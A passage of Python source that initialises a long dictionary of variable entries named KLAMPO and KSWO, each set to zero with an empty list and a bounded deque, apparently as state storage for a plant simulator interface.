'KLAMPO291': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO292': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO293': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO294': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO295': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO296': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO297': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO298': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO299': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO300': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO301': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO302': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO303': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO304': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO305': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO306': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO307': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO308': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO309': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO310': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO311': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO312': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO313': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO314': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO315': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO316': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO317': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO318': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO319': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO320': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO321': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO322': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO323': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO324': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO325': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO326': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO327': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO328': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO329': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO330': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO331': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO332': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO333': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO334': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO335': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO336': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO337': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO338': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO339': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO340': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO341': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO342': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO343': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO344': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO345': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO4': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO5': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO6': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO7': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO8': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO9': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO10': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO11': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO12': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO13': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO14': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO15': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO16': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO17': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO18': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO19': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO20': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO21': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO22': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO23': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO24': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO25': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO26': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO27': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO28': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO29': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO30': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO31': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO32': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO33': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO34': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO35': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO36': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO37': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO38': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO39': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO40': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO41': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO42': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO43': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO44': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO45': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO46': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO47': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO48': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO49': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO50': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO51': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO52': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO53': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO54': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO55': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO56': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO57': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO58': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO59': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO60': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO61': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO62': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO63': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO64': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO65': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO66': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO67': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO68': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO69': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO70': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO71': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO72': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO73': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO74': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO75': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO76': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO77': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO78': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO79': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO80': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO81': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO82': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO83': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO84': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO85': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO86': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO87': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO88': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO89': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO90': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO91': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO92': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO93': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO94': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO95': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO96': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO97': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO98': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO99': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO100': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO101': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO102': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO103': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO104': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO105': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO106': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO107': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO108': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO109': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO110': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO111': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO112': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO113': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO114': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO115': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO116': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO117': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO118': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO119': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO120': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO121': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO122': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO123': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO124': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO125': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO126': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO127': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO128': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO129': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO130': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO131': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO132': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO133': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO134': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO135': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO136': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO137': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO138': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO139': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO140': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO141': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO142': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO143': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO144': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO145': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO146': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO147': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO148': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO149': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO150': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO151': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO152': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO153': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO154': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO155': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO156': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO157': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO158': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO159': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO160': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO161': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO162': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO163': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO164': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO165': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO166': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO167': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO168': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO169': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO170': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO171': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO172': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO173': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO174': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO175': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO176': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO177': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO178': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO179': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO180': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO181': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO182': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO183': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO184': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO185': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO186': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO187': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO188': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO189': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO190': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO191': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO192': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO193': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO194': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO195': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO196': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO197': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO198': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO199': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO200': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO201': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO202': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO203': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO204': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO205': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO206': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO207': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO208': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO209': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO210': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO211': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO212': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO213': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO214': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO215': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO216': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO217': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO218': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO219': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO220': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO221': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO222': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO223': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO224': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO225': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO226': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO227': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO228': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO229': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO230': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO231': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO232': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO233': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO234': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO235': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO236': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO237': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO238': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO239': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO240': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO241': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO242': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO243': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO244': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO245': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO246': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO247': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO248': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO249': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO250': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO251': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO252': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO253': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO254': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO255': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO256': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO257': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO258': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO259': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO260': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSWO261': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
